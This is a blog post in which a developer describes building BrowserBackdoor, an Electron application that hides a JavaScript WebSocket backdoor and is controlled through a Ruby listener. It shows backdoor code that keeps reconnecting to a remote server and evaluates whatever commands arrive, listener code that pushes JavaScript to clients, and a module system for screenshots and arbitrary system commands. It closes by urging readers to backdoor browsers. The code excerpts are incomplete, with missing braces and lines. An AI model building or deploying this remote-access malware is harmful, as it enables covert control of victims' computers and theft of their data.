Browser Backdoor
by Carleton Stuberg
3 min read

BrowserBackdoor is the combination of an Electron application with a JavaScript WebSocket Backdoor and a Ruby command-line listener.

I started working on the Electron application and built the listener afterwords. The idea of the Electron application came to me by using the Electron API Demos and trying out the “Screenshot” function. I thought, “it would be awesome to create a backdoor using this program. How could Anti Virus software flag mostly the Chromium browser?”

I looked for ways to created a backdoor using JavaScript and found myself hacking around with the Browser Exploitation Framework’s (BeEF) source. Since I knew zero JavaScript at the time I embedded a BeEF hook directly into my Electron application. This worked decently but most of the functions were useless because BeEF is targeted towards a normal browser, not one with full access to the system.

I found out that the “Raw JavaScript” function in BeEF worked the best because then you could execute Node commands directly such as:

electron = require('electron');;

to make the system beep.

I finally learned some JavaScript on my own (thanks Mozilla!) and created this basic always-reconnecting WebSocket backdoor.

(function connect() {
    if ("WebSocket" in window)
        // Change to where you're hosting the WebSocket server.
        var ws = new WebSocket("ws://your-server-here:1234");
        ws.onmessage = function(evt)
            if (ws.readyState === 1) {
                // Send the result of eval'ing the remote message.
        ws.onclose = function()
            // Reconnect after 5 seconds.
            setTimeout(connect, 5000);

I decided to create my own listener. This would simplify executing JavaScript directly and allow me to create my own module system. I hacked around with the BeEF listener some more but decided to do it on my own. I looked for the best way to emulate WebSockets in Ruby and found em-websocket (what BeEF uses actually).

I created a simple listener (full source here) which was able to send direct JavaScript to one client at a time using ws.send(). {{
        :host => $CONFIG['host'],
        :port => $CONFIG['port'],
        :secure => $CONFIG['secure'],
        :tls_options => {
            :private_key_file => $CONFIG['priv_key'],
            :cert_chain_file => $CONFIG['cert_chain']
        }) do |ws|
            ws.onopen { |handshake|
                puts "\n[*] WebSocket connection open " + handshake.to_s
            ws.onclose {
                puts "\n[X] Connection closed"
            ws.onmessage { |msg|
                puts "\n[*] Response received: " + msg
            ws.onerror { |e|
                puts "\n[X] Error " + e.message

This worked well. It could do exactly what my goal was minus one thing: a module system.

After a lot of commits I came up with a simple system which executed a local file’s contents on the client which for all intents and purposes is a module system. Here’s how it looked in the beginning:

def execCommand(cmdIn)
    if cmdIn.length < 2
            file =[1], "r")
            cmdSend =
            sendCommand(cmdSend, $wsList[$selected])
        rescue => e
            print_error("Error sending command. Selected session may no longer exist.")
            puts e.message

Open the file, read the contents, send them to the client. Simple.

Since then I have vastly improved the module system and have added 11 modules in total including a screenshot module and an arbitrary system command module. They are all viewable here.

I was satisfied with the state of the program so I made a reddit post on /r/netsec then the next day I had over 100 stars on Github! Awesome!

Not many contributions yet (besides a VNC module idea which is still process… thanks for the idea jimthedev).

If anyone is interested in contributing to the project I’d be thrilled.

Thank you security interested people for this great experience.

Now go backdoor some browsers!

Open Comments (Disqus)